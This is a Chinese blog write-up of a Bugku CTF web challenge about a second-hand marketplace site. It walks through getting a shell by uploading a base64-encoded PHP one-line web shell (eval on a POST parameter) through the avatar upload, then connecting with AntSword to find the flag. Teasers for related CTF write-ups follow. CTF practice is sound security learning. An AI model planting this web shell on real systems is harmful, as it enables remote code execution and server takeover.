Bugku CTF 每日一题 xxx二手交易市场

xxx二手交易市场

打开看见是一个网站所以从零开始测试
1.首先点开一个商品往下滑有回复框但是要先注册所以等注册了再来测试
2.搜索栏也不能用暂时放过，不过在二手界面发现了一个搜索框输入一般的sql查询发现好像过滤了# ‘’“”等
3.求购公告栏也没什么可以利用的
4.发现登录注册框先爆破一下，不过有验证码爆破不行还要识别验证码，先放放
5.先注册一个账号
看了一下功能，先上个商品看看?

额要管理员验证走不通
邮箱签名那块也是有输入验证
再去看看回复框
好像没什么用

再翻了翻还有上传头像可以用打开burpsuite
随便传一个发现用了base64 先解码看看
发现前面不对劲有%好像是unicode，所以先丢进unicode

参考链接：https://www.cnblogs.com/wsh-ning/p/7463101.html1.形如："data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAAA......==" 的字符串就是base64。2.data:image/jpeg;base64,为头部信息，其余为图片编码。3.使用base64_decode对编码内容进行解码。4. 编码后的数据比原始数据略长，为原来的4/3。因为：三个字节有24个位元，就可以刚好对应于4个Base64单元，即3个字节需要用4个Base64的可打印字符来表示。

所以在后面把图片加一句话码并且要base64编码

用蚁剑连一下发现返回数据为空？？？
研究了许久后发现 tnnd base64网站编译出错了
用下面这个base64就能过

<?php @eval($_POST['cmd']);?>PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

用这个就过不了

JTNDJTNGcGhwJTIwQGV2YWwlMjglMjRfUE9TVCU1QiUyN2NtZCUyNyU1RCUyOSUzQiUzRiUzRQ==

过了之后用蚁剑连接然后用find命令直接找
找到flag

Bugku CTF 每日一题 xxx二手交易市场相关推荐

Bugku CTF每日一题可爱的故事
可爱的故事这题给我整无语了建议放到crypto分区一段看不懂的文字用winhex等也找不到有效线索研究了半天无奈看了下评论发现是某原的一种文字 (流汗黄豆)只能说不好评价哈根据提示·找对 ...
Bugku CTF 每日一题 where is flag
where is flag 番外篇解压得到两个压缩包第一个压缩包key可以解压第二个压缩包出师表要密码才能解压打开第一个压缩包解压发现出师表中有些残缺,比如先帝创业未办AAAAA 而且下一段 ...
Bugku CTF每日一题乌云邀请码
乌云邀请码打开发现是张图片,用winhex打开发现很多和普通图片不一样的地方打开属性没发现什么异常但是在STEGSLOVE打开却发现了异常,RGB都在0位有如下图的异常于是考虑RGB隐写,但是 ...
Bugku CTF 每日一题爆照
爆照打开是个jpg文件,winhex打开,在最后发现了异常,应该是有压缩包用binwalk分析一下,发现压缩包,可以用dd命令或者foremost分离 dd if=file.jpg of=11.z ...
Bugku CTF 每日一题三色绘恋
三色绘恋打开是一个压缩包发现需要密码用winhex打开后发现有个0900 所以应该是伪加密 09改为00 打开压缩包发现是一张图片用winhex打开有异样猜测是藏了东西用linux 下的 ...
Bugku CTF 每日一题富强民主等
富强民主一看题目就知道是核心价值观密码随便找个网站解码得到就行,随便提供一个吧 http://www.hiencode.com/cvencode.html 多种方法解决点开发现是个exe 点不 ...
[CTF] 每日一题汇总
[CTF] 每日一题汇总 WEB 编号题目知识点 No.0001 博兹瓦纳-爆破 zip伪加密.CRC校验 No.0002 莫桑比克-php是最好的语言 php伪协议.data协议 No.0003 ...
Bugku CTF 密码学刷题
Bugku CTF 密码学刷题前言一.抄错的字符二./.- 三.聪明的小羊四.ok 五.[+-<>] 六.把猪困在猪圈里七.你喜欢下棋吗八.小山丘的秘密九.EN-气泡十.你 ...
CTF每日一题之ACII码编码
好久没写了...因为好久没做题了,最近又开始偷懒了,愁人.今天发现了一个新的CTF平台,很有意思,不过缺点是没有中文,不过这没有关系,谁叫我谷歌翻译用的贼6,今天是个签到题,就不多说了. 题目链接:h ...
BugKu CTF 社工题部分writeup
1.密码姓名:张三生日:19970315 就是猜密码吧 zs19970315 2.信息查找社会工程学基础题目信息查找听说bugku.cn 在今日头条上能找到?? 提示:flag为群号码百度 ...

Bugku CTF 每日一题 xxx二手交易市场

xxx二手交易市场

Bugku CTF 每日一题 xxx二手交易市场相关推荐

最新文章

热门文章